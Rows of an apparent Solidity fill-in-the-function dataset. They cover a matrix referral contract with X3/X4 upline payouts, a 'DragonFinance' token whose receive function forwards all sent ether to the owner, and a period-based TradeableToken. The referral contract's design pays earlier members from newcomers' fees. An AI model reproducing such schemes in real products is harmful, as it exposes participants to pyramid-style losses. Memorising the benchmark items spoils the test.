require(_isUserExists(x3Upline), "_registrationValidation: x3Upline not exists"); require(_isUserExists(x4Upline), "_registrationValidation: x4Upline not exists"); uint32 size; assembly { size := extcodesize(userAddress) } require(size == 0, "_registrationValidation: cannot be a contract"); } function _isUserExists(address user) private view returns (bool) { return (users[user].id != 0); } function _send(address to, uint256 amount, bool isAutoSystem) private { require(to != address(0), "_send: zero address"); address(uint160(to)).transfer(amount); emit EthSent(to, amount, isAutoSystem); } function _bytesToAddress(bytes memory bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } // ----------------------------------------- // PRIVATE (X3 X4) // ----------------------------------------- function _newX3X4Member(address userAddress) private { users[userAddress].activeX3Levels[1] = true; users[userAddress].activeX4Levels[1] = true; address freeX3Referrer = _findFreeX3Referrer(userAddress, 1); users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer; _updateX3Referrer(userAddress, freeX3Referrer, 1); _updateX4Referrer(userAddress, _findFreeX4Referrer(userAddress, 1), 1); } function _buyNewLevel(uint8 matrix, uint8 level) private { if (matrix == 1) { require(!users[msg.sender].activeX3Levels[level], "_buyNewLevel: level already activated"); require(users[msg.sender].activeX3Levels[level - 1], "_buyNewLevel: this level can not be bought"); if (users[msg.sender].x3Matrix[level-1].blocked) { users[msg.sender].x3Matrix[level-1].blocked = false; } address freeX3Referrer = _findFreeX3Referrer(msg.sender, level); users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer; users[msg.sender].activeX3Levels[level] = true; _updateX3Referrer(msg.sender, freeX3Referrer, level); emit Upgrade(msg.sender, freeX3Referrer, 1, level); } else { require(!users[msg.sender].activeX4Levels[level], "_buyNewLevel: level already activated"); require(users[msg.sender].activeX4Levels[level - 1], "_buyNewLevel: this level can not be bought"); if (users[msg.sender].x4Matrix[level-1].blocked) { users[msg.sender].x4Matrix[level-1].blocked = false; } address freeX4Referrer = _findFreeX4Referrer(msg.sender, level); users[msg.sender].activeX4Levels[level] = true; _updateX4Referrer(msg.sender, freeX4Referrer, level); emit Upgrade(msg.sender, freeX4Referrer, 2, level); } } function _updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private { if (users[referrerAddress].x3Matrix[level].referrals.length < 2) { users[referrerAddress].x3Matrix[level].referrals.push(userAddress); emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length)); return _sendETHDividends(referrerAddress, userAddress, 1, level); } emit NewUserPlace(userAddress, referrerAddress, 1, level, 3); //close matrix users[referrerAddress].x3Matrix[level].referrals = new address[](0); if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) { users[referrerAddress].x3Matrix[level].blocked = true; } //create new one by recursion if (referrerAddress != owner) { //check referrer active level address freeReferrerAddress = _findFreeX3Referrer(referrerAddress, level); if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) { users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress; } users[referrerAddress].x3Matrix[level].reinvestCount++; emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level); _updateX3Referrer(referrerAddress, freeReferrerAddress, level); } else { _sendETHDividends(owner, userAddress, 1, level); users[owner].x3Matrix[level].reinvestCount++; emit Reinvest(owner, address(0), userAddress, 1, level); } } function _updateX4Referrer(address userAddress, address referrerAddress, uint8 level) private { require(users[referrerAddress].activeX4Levels[level], "_updateX4Referrer: referrer level is inactive"); // ADD 2ND PLACE OF FIRST LEVEL (3 members available) if (users[referrerAddress].x4Matrix[level].firstLevelReferrals.length < 2) { users[referrerAddress].x4Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x4Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x4Matrix[level].currentReferrer = referrerAddress; if (referrerAddress == owner) { return _sendETHDividends(referrerAddress, userAddress, 2, level); } address ref = users[referrerAddress].x4Matrix[level].currentReferrer; users[ref].x4Matrix[level].secondLevelReferrals.push(userAddress); uint256 len = users[ref].x4Matrix[level].firstLevelReferrals.length; if ((len == 2) && (users[ref].x4Matrix[level].firstLevelReferrals[0] == referrerAddress) && (users[ref].x4Matrix[level].firstLevelReferrals[1] == referrerAddress)) { if (users[referrerAddress].x4Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5); } else { emit NewUserPlace(userAddress, ref, 2, level, 6); } } else if ((len == 1 || len == 2) && users[ref].x4Matrix[level].firstLevelReferrals[0] == referrerAddress) { if (users[referrerAddress].x4Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 3); } else { emit NewUserPlace(userAddress, ref, 2, level, 4); } } else if (len == 2 && users[ref].x4Matrix[level].firstLevelReferrals[1] == referrerAddress) { if (users[referrerAddress].x4Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5); } else { emit NewUserPlace(userAddress, ref, 2, level, 6); } } return _updateX4ReferrerSecondLevel(userAddress, ref, level); } users[referrerAddress].x4Matrix[level].secondLevelReferrals.push(userAddress); if (users[referrerAddress].x4Matrix[level].closedPart != address(0)) { if ((users[referrerAddress].x4Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x4Matrix[level].firstLevelReferrals[1]) && (users[referrerAddress].x4Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x4Matrix[level].closedPart)) { _updateX4(userAddress, referrerAddress, level, true); return _updateX4ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x4Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x4Matrix[level].closedPart) { _updateX4(userAddress, referrerAddress, level, true); return _updateX4ReferrerSecondLevel(userAddress, referrerAddress, level); } else { _updateX4(userAddress, referrerAddress, level, false); return _updateX4ReferrerSecondLevel(userAddress, referrerAddress, level); } } if (users[referrerAddress].x4Matrix[level].firstLevelReferrals[1] == userAddress) { _updateX4(userAddress, referrerAddress, level, false); return _updateX4ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x4Matrix[level].firstLevelReferrals[0] == userAddress) { _updateX4(userAddress, referrerAddress, level, true); return _updateX4ReferrerSecondLevel(userAddress, referrerAddress, level); } if (users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[0]].x4Matrix[level].firstLevelReferrals.length <= users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[1]].x4Matrix[level].firstLevelReferrals.length) { _updateX4(userAddress, referrerAddress, level, false); } else { _updateX4(userAddress, referrerAddress, level, true); } _updateX4ReferrerSecondLevel(userAddress, referrerAddress, level); } function _updateX4(address userAddress, address referrerAddress, uint8 level, bool x2) private { if (!x2) { users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[0]].x4Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x4Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[0]].x4Matrix[level].firstLevelReferrals.length)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[0]].x4Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x4Matrix[level].currentReferrer = users[referrerAddress].x4Matrix[level].firstLevelReferrals[0]; } else { users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[1]].x4Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x4Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[1]].x4Matrix[level].firstLevelReferrals.length)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[1]].x4Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x4Matrix[level].currentReferrer = users[referrerAddress].x4Matrix[level].firstLevelReferrals[1]; } } function _updateX4ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private { if (users[referrerAddress].x4Matrix[level].secondLevelReferrals.length < 4) { return _sendETHDividends(referrerAddress, userAddress, 2, level); } address[] memory x4 = users[users[referrerAddress].x4Matrix[level].currentReferrer].x4Matrix[level].firstLevelReferrals; if (x4.length == 2) { if (x4[0] == referrerAddress || x4[1] == referrerAddress) { users[users[referrerAddress].x4Matrix[level].currentReferrer].x4Matrix[level].closedPart = referrerAddress; } } else if (x4.length == 1) { if (x4[0] == referrerAddress) { users[users[referrerAddress].x4Matrix[level].currentReferrer].x4Matrix[level].closedPart = referrerAddress; } } users[referrerAddress].x4Matrix[level].firstLevelReferrals = new address[](0); users[referrerAddress].x4Matrix[level].secondLevelReferrals = new address[](0); users[referrerAddress].x4Matrix[level].closedPart = address(0); if (!users[referrerAddress].activeX4Levels[level+1] && level != LAST_LEVEL) { users[referrerAddress].x4Matrix[level].blocked = true; } users[referrerAddress].x4Matrix[level].reinvestCount++; if (referrerAddress != owner) { address freeReferrerAddress = _findFreeX4Referrer(referrerAddress, level); emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level); _updateX4Referrer(referrerAddress, freeReferrerAddress, level); } else { emit Reinvest(owner, address(0), userAddress, 2, level); _sendETHDividends(owner, userAddress, 2, level); } } function _findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns (address, bool) { address receiver = userAddress; bool isExtraDividends; if (matrix == 1) { while (true) { if (users[receiver].x3Matrix[level].blocked) { emit MissedEthReceive(receiver, _from, 1, level); isExtraDividends = true; receiver = users[receiver].x3Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } else { while (true) { if (users[receiver].x4Matrix[level].blocked) { emit MissedEthReceive(receiver, _from, 2, level); isExtraDividends = true; receiver = users[receiver].x4Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } } function _sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private { (address receiver, bool isExtraDividends) = _findEthReceiver(userAddress, _from, matrix, level); _send(receiver, LEVEL_PRICE[level], false); if (isExtraDividends) { emit SentExtraEthDividends(_from, receiver, matrix, level); } } function _findFreeX3Referrer(address userAddress, uint8 level) private view returns (address) { while (true) { if (users[users[userAddress].referrer].activeX3Levels[level]) { return users[userAddress].referrer; } userAddress = users[userAddress].referrer; } } function _findFreeX4Referrer(address userAddress, uint8 level) private view returns (address) { while (true) { if (users[users[userAddress].referrer].activeX4Levels[level]) { return users[userAddress].referrer; } userAddress = users[userAddress].referrer; } } // ----------------------------------------- // PRIVATE (X3 X4 AUTO) // ----------------------------------------- function _newX3X4AutoMember(address userAddress, address referrerAddress, address x3AutoUpline, address x4AutoUpline) private { if (users[x3AutoUpline].x3Auto[0].referrals.length >= X3_AUTO_DOWNLINES_LIMIT) { x3AutoUpline = _detectX3AutoUpline(referrerAddress); } if (users[x4AutoUpline].x4Auto[0].firstLevelReferrals.length >= X4_AUTO_DOWNLINES_LIMIT) { x4AutoUpline = _detectX4AutoUpline(referrerAddress); } // Register x3Auto values users[userAddress].x3Auto[0].upline = x3AutoUpline; users[userAddress].x3Auto[0].upline_id = users[x3AutoUpline].id; // Register x4Auto values users[userAddress].x4Auto[0].upline = x4AutoUpline; users[userAddress].x4Auto[0].upline_id = users[x4AutoUpline].id; // Add member to x3Auto upline referrals users[x3AutoUpline].x3Auto[0].referrals.push(userAddress); // Add member to x4Auto upline first referrals users[x4AutoUpline].x4Auto[0].firstLevelReferrals.push(userAddress); // Add member to x4Auto upline of upline second referrals users[users[x4AutoUpline].x4Auto[0].upline].x4Auto[0].secondLevelReferrals.push(userAddress); // Increase level of user _x3AutoUpLevel(userAddress, 1); _x4AutoUpLevel(userAddress, 1); // Check the state and pay to uplines _x3AutoUplinePay(REGISTRATION_FEE / 4, x3AutoUpline, userAddress); _x4AutoUplinePay(REGISTRATION_FEE / 4, users[x4AutoUpline].x4Auto[0].upline, userAddress); emit AutoSystemRegistration(userAddress, x3AutoUpline, x4AutoUpline); } function _detectUplinesAddresses(address userAddress) private view returns(address, address) { address x3AutoUplineAddress = _detectX3AutoUpline(userAddress); address x4AutoUplineAddress = _detectX4AutoUpline(userAddress); return ( x3AutoUplineAddress, x4AutoUplineAddress ); } function _detectX3AutoUpline(address userAddress) private view returns (address) { if (users[userAddress].x3Auto[0].referrals.length < X3_AUTO_DOWNLINES_LIMIT) { return userAddress; } address[] memory referrals = new address[](1515); referrals[0] = users[userAddress].x3Auto[0].referrals[0]; referrals[1] = users[userAddress].x3Auto[0].referrals[1]; referrals[2] = users[userAddress].x3Auto[0].referrals[2]; address freeReferrer; bool noFreeReferrer = true; for (uint256 i = 0; i < 1515; i++) { if (users[referrals[i]].x3Auto[0].referrals.length == X3_AUTO_DOWNLINES_LIMIT) { if (i < 504) { referrals[(i + 1) * 3] = users[referrals[i]].x3Auto[0].referrals[0]; referrals[(i + 1) * 3 + 1] = users[referrals[i]].x3Auto[0].referrals[1]; referrals[(i + 1) * 3 + 2] = users[referrals[i]].x3Auto[0].referrals[2]; } } else { noFreeReferrer = false; freeReferrer = referrals[i]; break; } } require(!noFreeReferrer, 'No Free Referrer'); return freeReferrer; } function _detectX4AutoUpline(address userAddress) private view returns (address) { if (users[userAddress].x4Auto[0].firstLevelReferrals.length < X4_AUTO_DOWNLINES_LIMIT) { return userAddress; } address[] memory referrals = new address[](994); referrals[0] = users[userAddress].x4Auto[0].firstLevelReferrals[0]; referrals[1] = users[userAddress].x4Auto[0].firstLevelReferrals[1]; address freeReferrer; bool noFreeReferrer = true; for (uint256 i = 0; i < 994; i++) { if (users[referrals[i]].x4Auto[0].firstLevelReferrals.length == X4_AUTO_DOWNLINES_LIMIT) { if (i < 496) { referrals[(i + 1) * 2] = users[referrals[i]].x4Auto[0].firstLevelReferrals[0]; referrals[(i + 1) * 2 + 1] = users[referrals[i]].x4Auto[0].firstLevelReferrals[1]; } } else { noFreeReferrer = false; freeReferrer = referrals[i]; break; } } require(!noFreeReferrer, 'No Free Referrer'); return freeReferrer; } function _x3AutoUpLevel(address user, uint8 level) private { users[user].x3Auto[0].level = level; emit AutoSystemLevelUp(user, 1, level); } function _x4AutoUpLevel(address user, uint8 level) private { users[user].x4Auto[0].level = level; emit AutoSystemLevelUp(user, 2, level); } function _getX4AutoReinvestReceiver(address user) private view returns (address) { address receiver = address(0); if ( user != address(0) && users[user].x4Auto[0].upline != address(0) && users[users[user].x4Auto[0].upline].x4Auto[0].upline != address(0) ) { receiver = users[users[user].x4Auto[0].upline].x4Auto[0].upline; } return receiver; } function _x3AutoUplinePay(uint256 value, address upline, address downline) private { // If upline not defined if (upline == address(0)) { _send(owner, value, true); return; } bool isReinvest = users[upline].x3Auto[0].referrals.length == 3 && users[upline].x3Auto[0].referrals[2] == downline; if (isReinvest) { // Transfer funds to upline of msg.senders' upline address reinvestReceiver = _findFreeX3AutoReferrer(downline); _send(reinvestReceiver, value, true); emit AutoSystemReinvest(reinvestReceiver, downline, value, 1); return; } bool isLevelUp = users[upline].x3Auto[0].referrals.length >= 2; if (isLevelUp) { uint8 firstReferralLevel = users[users[upline].x3Auto[0].referrals[0]].x3Auto[0].level; uint8 secondReferralLevel = users[users[upline].x3Auto[0].referrals[1]].x3Auto[0].level; uint8 lowestLevelReferral = firstReferralLevel > secondReferralLevel ? secondReferralLevel : firstReferralLevel; if (users[upline].x3Auto[0].level == lowestLevelReferral) { uint256 levelMaxCap = LEVEL_PRICE[users[upline].x3Auto[0].level + 1]; _x3AutoUpLevel(upline, users[upline].x3Auto[0].level + 1); _x3AutoUplinePay(levelMaxCap, users[upline].x3Auto[0].upline, upline); } } } <FILL_FUNCTION> function _findFreeX3AutoReferrer(address userAddress) private view returns (address) { while (true) { address upline = users[userAddress].x3Auto[0].upline; if (upline == address(0) || userAddress == owner) { return owner; } if ( users[upline].x3Auto[0].referrals.length < X3_AUTO_DOWNLINES_LIMIT || users[upline].x3Auto[0].referrals[2] != userAddress) { return upline; } userAddress = upline; } } function _findFreeX4AutoReferrer(address userAddress) private view returns (address) { while (true) { address upline = _getX4AutoReinvestReceiver(userAddress); if (upline == address(0) || userAddress == owner) { return owner; } if ( users[upline].x4Auto[0].secondLevelReferrals.length < 4 || users[upline].x4Auto[0].secondLevelReferrals[3] != userAddress ) { return upline; } userAddress = upline; } } // ----------------------------------------- // GETTERS // ----------------------------------------- function findFreeX3Referrer(address userAddress, uint8 level) external view returns (address) { return _findFreeX3Referrer(userAddress, level); } function findFreeX4Referrer(address userAddress, uint8 level) external view returns (address) { return _findFreeX4Referrer(userAddress, level); } function findFreeX3AutoReferrer(address userAddress) external view returns (address) { return _findFreeX3AutoReferrer(userAddress); } function findFreeX4AutoReferrer(address userAddress) external view returns (address) { return _findFreeX4AutoReferrer(userAddress); } function findAutoUplines(address referrer) external view returns(address, address, uint256, uint256) { (address x3UplineAddr, address x4UplineAddr) = _detectUplinesAddresses(referrer); return ( x3UplineAddr, x4UplineAddr, users[x3UplineAddr].id, users[x4UplineAddr].id ); } function findAutoUplines(uint256 referrerId) external view returns(address, address, uint256, uint256) { (address x3UplineAddr, address x4UplineAddr) = _detectUplinesAddresses(userIds[referrerId]); return ( x3UplineAddr, x4UplineAddr, users[x3UplineAddr].id, users[x4UplineAddr].id ); } function usersActiveX3Levels(address userAddress, uint8 level) external view returns (bool) { return users[userAddress].activeX3Levels[level]; } function usersActiveX4Levels(address userAddress, uint8 level) external view returns (bool) { return users[userAddress].activeX4Levels[level]; } function getUserX3Matrix(address userAddress, uint8 level) external view returns ( address currentReferrer, address[] memory referrals, bool blocked, uint256 reinvestCount ) { return ( users[userAddress].x3Matrix[level].currentReferrer, users[userAddress].x3Matrix[level].referrals, users[userAddress].x3Matrix[level].blocked, users[userAddress].x3Matrix[level].reinvestCount ); } function getUserX4Matrix(address userAddress, uint8 level) external view returns ( address currentReferrer, address[] memory firstLevelReferrals, address[] memory secondLevelReferrals, bool blocked, address closedPart, uint256 reinvestCount ) { return ( users[userAddress].x4Matrix[level].currentReferrer, users[userAddress].x4Matrix[level].firstLevelReferrals, users[userAddress].x4Matrix[level].secondLevelReferrals, users[userAddress].x4Matrix[level].blocked, users[userAddress].x4Matrix[level].closedPart, users[userAddress].x3Matrix[level].reinvestCount ); } function getUserX3Auto(address user) external view returns ( uint256 id, uint8 level, uint256 upline_id, address upline, address[] memory referrals ) { return ( users[user].id, users[user].x3Auto[0].level, users[user].x3Auto[0].upline_id, users[user].x3Auto[0].upline, users[user].x3Auto[0].referrals ); } function getUserX4Auto(address user) external view returns ( uint256 id, uint8 level, uint256 upline_id, address upline, address[] memory firstLevelReferrals, address[] memory secondLevelReferrals ) { return ( users[user].id, users[user].x4Auto[0].level, users[user].x4Auto[0].upline_id, users[user].x4Auto[0].upline, users[user].x4Auto[0].firstLevelReferrals, users[user].x4Auto[0].secondLevelReferrals ); } function isUserExists(address user) external view returns (bool) { return _isUserExists(user); } }
// If upline not defined if (upline == address(0)) { _send(owner, value, true); return; } bool isReinvest = users[upline].x4Auto[0].secondLevelReferrals.length == 4 && users[upline].x4Auto[0].secondLevelReferrals[3] == downline; if (isReinvest) { // Transfer funds to upline of msg.senders' upline address reinvestReceiver = _findFreeX4AutoReferrer(upline); _send(reinvestReceiver, value, true); emit AutoSystemReinvest(reinvestReceiver, downline, value, 2); return; } bool isEarning = users[upline].x4Auto[0].secondLevelReferrals.length == 3 && users[upline].x4Auto[0].secondLevelReferrals[2] == downline; if (isEarning) { _send(upline, value, true); emit AutoSystemEarning(upline, downline); return; } bool isLevelUp = users[upline].x4Auto[0].secondLevelReferrals.length >= 2; if (isLevelUp) { uint8 firstReferralLevel = users[users[upline].x4Auto[0].secondLevelReferrals[0]].x4Auto[0].level; uint8 secondReferralLevel = users[users[upline].x4Auto[0].secondLevelReferrals[1]].x4Auto[0].level; uint8 lowestLevelReferral = firstReferralLevel > secondReferralLevel ? secondReferralLevel : firstReferralLevel; if (users[upline].x4Auto[0].level == lowestLevelReferral) { // The limit, which needed to upline for achieving a new level uint256 levelMaxCap = LEVEL_PRICE[users[upline].x4Auto[0].level + 1]; // If upline level limit reached _x4AutoUpLevel(upline, users[upline].x4Auto[0].level + 1); address uplineOfUpline = _getX4AutoReinvestReceiver(upline); if (upline != users[uplineOfUpline].x4Auto[0].secondLevelReferrals[0] && upline != users[uplineOfUpline].x4Auto[0].secondLevelReferrals[1]) { uplineOfUpline = address(0); } _x4AutoUplinePay(levelMaxCap, uplineOfUpline, upline); } }
function _x4AutoUplinePay(uint256 value, address upline, address downline) private
function _x4AutoUplinePay(uint256 value, address upline, address downline) private
62768
MyToken
null
contract MyToken is Token{ constructor() public{ symbol = "DFII"; name = "DragonFinance"; decimals = 18; totalSupply = 51000000000000000000000; // 51m owner = msg.sender; balances[owner] = totalSupply; } receive () payable external {<FILL_FUNCTION_BODY> } }
contract MyToken is Token{ constructor() public{ symbol = "DFII"; name = "DragonFinance"; decimals = 18; totalSupply = 51000000000000000000000; // 51m owner = msg.sender; balances[owner] = totalSupply; } <FILL_FUNCTION> }
require(msg.value>0); owner.transfer(msg.value);
receive () payable external
receive () payable external
7017
TradeableToken
startCollecting
contract TradeableToken is StandardToken, Ownable { using SafeMath for uint256; event Sale(address indexed buyer, uint256 amount); event Redemption(address indexed seller, uint256 amount); event DistributionError(address seller, uint256 amount); /** * State of the contract: * Collecting - collecting ether and tokens * Distribution - distribution of bought tokens and ether is in process */ enum State{Collecting, Distribution} State public currentState; //Current state of the contract uint256 public previousPeriodRate; //Previous rate: how many tokens one could receive for 1 ether in the last period uint256 public currentPeriodEndTimestamp; //Timestamp after which no more trades are accepted and contract is waiting to start distribution uint256 public currentPeriodStartBlock; //Number of block when current perions was started uint256 public currentPeriodRate; //Current rate: how much tokens one should receive for 1 ether in current distribution period uint256 public currentPeriodEtherCollected; //How much ether was collected (to buy tokens) during current period and waiting for distribution uint256 public currentPeriodTokenCollected; //How much tokens was collected (to sell tokens) during current period and waiting for distribution mapping(address => uint256) receivedEther; //maps address of buyer to amount of ether he sent mapping(address => uint256) soldTokens; //maps address of seller to amount of tokens he sent uint32 constant MILLI_PERCENT_DIVIDER = 100*1000; uint32 public buyFeeMilliPercent; //The buyer's fee in a thousandth of percent. So, if buyer's fee = 5%, then buyFeeMilliPercent = 5000 and if without buyer shoud receive 200 tokens with fee it will receive 200 - (200 * 5000 / MILLI_PERCENT_DIVIDER) uint32 public sellFeeMilliPercent; //The seller's fee in a thousandth of percent. (see above) uint256 public minBuyAmount; //Minimal amount of ether to buy uint256 public minSellAmount; //Minimal amount of tokens to sell modifier canBuyAndSell() { require(currentState == State.Collecting); require(now < currentPeriodEndTimestamp); _; } function TradeableToken() public { currentState = State.Distribution; //currentPeriodStartBlock = 0; currentPeriodEndTimestamp = now; //ensure that nothing can be collected until new period is started by owner } /** * @notice Send Ether to buy tokens */ function() payable public { require(msg.value > 0); buy(msg.sender, msg.value); } /** * @notice Transfer or sell tokens * Sells tokens transferred to this contract itself or to zero address * @param _to The address to transfer to or token contract address to burn. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { if( (_to == address(this)) || (_to == 0) ){ return sell(msg.sender, _value); }else{ return super.transfer(_to, _value); } } /** * @notice Transfer tokens from one address to another or sell them if _to is this contract or zero address * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if( (_to == address(this)) || (_to == 0) ){ var _allowance = allowed[_from][msg.sender]; require (_value <= _allowance); allowed[_from][msg.sender] = _allowance.sub(_value); return sell(_from, _value); }else{ return super.transferFrom(_from, _to, _value); } } /** * @dev Fuction called when somebody is buying tokens * @param who The address of buyer (who will own bought tokens) * @param amount The amount to be transferred. */ function buy(address who, uint256 amount) canBuyAndSell internal returns(bool){ require(amount >= minBuyAmount); currentPeriodEtherCollected = currentPeriodEtherCollected.add(amount); receivedEther[who] = receivedEther[who].add(amount); //if this is first operation from this address, initial value of receivedEther[to] == 0 Sale(who, amount); return true; } /** * @dev Fuction called when somebody is selling his tokens * @param who The address of seller (whose tokens are sold) * @param amount The amount to be transferred. */ function sell(address who, uint256 amount) canBuyAndSell internal returns(bool){ require(amount >= minSellAmount); currentPeriodTokenCollected = currentPeriodTokenCollected.add(amount); soldTokens[who] = soldTokens[who].add(amount); //if this is first operation from this address, initial value of soldTokens[to] == 0 totalSupply = totalSupply.sub(amount); Redemption(who, amount); Transfer(who, address(0), amount); return true; } /** * @notice Set fee applied when buying tokens * @param _buyFeeMilliPercent fee in thousandth of percent (5% = 5000) */ function setBuyFee(uint32 _buyFeeMilliPercent) onlyOwner public { require(_buyFeeMilliPercent < MILLI_PERCENT_DIVIDER); buyFeeMilliPercent = _buyFeeMilliPercent; } /** * @notice Set fee applied when selling tokens * @param _sellFeeMilliPercent fee in thousandth of percent (5% = 5000) */ function setSellFee(uint32 _sellFeeMilliPercent) onlyOwner public { require(_sellFeeMilliPercent < MILLI_PERCENT_DIVIDER); sellFeeMilliPercent = _sellFeeMilliPercent; } /** * @notice set minimal amount of ether which can be used to buy tokens * @param _minBuyAmount minimal amount of ether */ function setMinBuyAmount(uint256 _minBuyAmount) onlyOwner public { minBuyAmount = _minBuyAmount; } /** * @notice set minimal amount of ether which can be used to buy tokens * @param _minSellAmount minimal amount of tokens */ function setMinSellAmount(uint256 _minSellAmount) onlyOwner public { minSellAmount = _minSellAmount; } /** * @notice Collect ether received for token purshases * This is possible both during Collection and Distribution phases */ function collectEther(uint256 amount) onlyOwner public { owner.transfer(amount); } /** * @notice Start distribution phase * @param _currentPeriodRate exchange rate for current distribution */ function startDistribution(uint256 _currentPeriodRate) onlyOwner public { require(currentState != State.Distribution); //owner should not be able to change rate after distribution is started, ensures that everyone have the same rate require(_currentPeriodRate != 0); //something has to be distributed! //require(now >= currentPeriodEndTimestamp) //DO NOT require period end timestamp passed, because there can be some situations when it is neede to end it sooner. But this should be done with extremal care, because of possible race condition between new sales/purshases and currentPeriodRate definition currentState = State.Distribution; currentPeriodRate = _currentPeriodRate; } /** * @notice Distribute tokens to buyers * @param buyers an array of addresses to pay tokens for their ether. Should be composed from outside by reading Sale events */ function distributeTokens(address[] buyers) onlyOwner public { require(currentState == State.Distribution); require(currentPeriodRate > 0); for(uint256 i=0; i < buyers.length; i++){ address buyer = buyers[i]; require(buyer != address(0)); uint256 etherAmount = receivedEther[buyer]; if(etherAmount == 0) continue; //buyer not found or already paid uint256 tokenAmount = etherAmount.mul(currentPeriodRate); uint256 fee = tokenAmount.mul(buyFeeMilliPercent).div(MILLI_PERCENT_DIVIDER); tokenAmount = tokenAmount.sub(fee); receivedEther[buyer] = 0; currentPeriodEtherCollected = currentPeriodEtherCollected.sub(etherAmount); //mint tokens totalSupply = totalSupply.add(tokenAmount); balances[buyer] = balances[buyer].add(tokenAmount); Transfer(address(0), buyer, tokenAmount); } } /** * @notice Distribute ether to sellers * If not enough ether is available on contract ballance * @param sellers an array of addresses to pay ether for their tokens. Should be composed from outside by reading Redemption events */ function distributeEther(address[] sellers) onlyOwner payable public { require(currentState == State.Distribution); require(currentPeriodRate > 0); for(uint256 i=0; i < sellers.length; i++){ address seller = sellers[i]; require(seller != address(0)); uint256 tokenAmount = soldTokens[seller]; if(tokenAmount == 0) continue; //seller not found or already paid uint256 etherAmount = tokenAmount.div(currentPeriodRate); uint256 fee = etherAmount.mul(sellFeeMilliPercent).div(MILLI_PERCENT_DIVIDER); etherAmount = etherAmount.sub(fee); soldTokens[seller] = 0; currentPeriodTokenCollected = currentPeriodTokenCollected.sub(tokenAmount); if(!seller.send(etherAmount)){ //in this case we can only log error and let owner to handle it manually DistributionError(seller, etherAmount); owner.transfer(etherAmount); //assume this should not fail..., overwise - change owner } } } function startCollecting(uint256 _collectingEndTimestamp) onlyOwner public {<FILL_FUNCTION_BODY> } }
contract TradeableToken is StandardToken, Ownable { using SafeMath for uint256; event Sale(address indexed buyer, uint256 amount); event Redemption(address indexed seller, uint256 amount); event DistributionError(address seller, uint256 amount); /** * State of the contract: * Collecting - collecting ether and tokens * Distribution - distribution of bought tokens and ether is in process */ enum State{Collecting, Distribution} State public currentState; //Current state of the contract uint256 public previousPeriodRate; //Previous rate: how many tokens one could receive for 1 ether in the last period uint256 public currentPeriodEndTimestamp; //Timestamp after which no more trades are accepted and contract is waiting to start distribution uint256 public currentPeriodStartBlock; //Number of block when current perions was started uint256 public currentPeriodRate; //Current rate: how much tokens one should receive for 1 ether in current distribution period uint256 public currentPeriodEtherCollected; //How much ether was collected (to buy tokens) during current period and waiting for distribution uint256 public currentPeriodTokenCollected; //How much tokens was collected (to sell tokens) during current period and waiting for distribution mapping(address => uint256) receivedEther; //maps address of buyer to amount of ether he sent mapping(address => uint256) soldTokens; //maps address of seller to amount of tokens he sent uint32 constant MILLI_PERCENT_DIVIDER = 100*1000; uint32 public buyFeeMilliPercent; //The buyer's fee in a thousandth of percent. So, if buyer's fee = 5%, then buyFeeMilliPercent = 5000 and if without buyer shoud receive 200 tokens with fee it will receive 200 - (200 * 5000 / MILLI_PERCENT_DIVIDER) uint32 public sellFeeMilliPercent; //The seller's fee in a thousandth of percent. (see above) uint256 public minBuyAmount; //Minimal amount of ether to buy uint256 public minSellAmount; //Minimal amount of tokens to sell modifier canBuyAndSell() { require(currentState == State.Collecting); require(now < currentPeriodEndTimestamp); _; } function TradeableToken() public { currentState = State.Distribution; //currentPeriodStartBlock = 0; currentPeriodEndTimestamp = now; //ensure that nothing can be collected until new period is started by owner } /** * @notice Send Ether to buy tokens */ function() payable public { require(msg.value > 0); buy(msg.sender, msg.value); } /** * @notice Transfer or sell tokens * Sells tokens transferred to this contract itself or to zero address * @param _to The 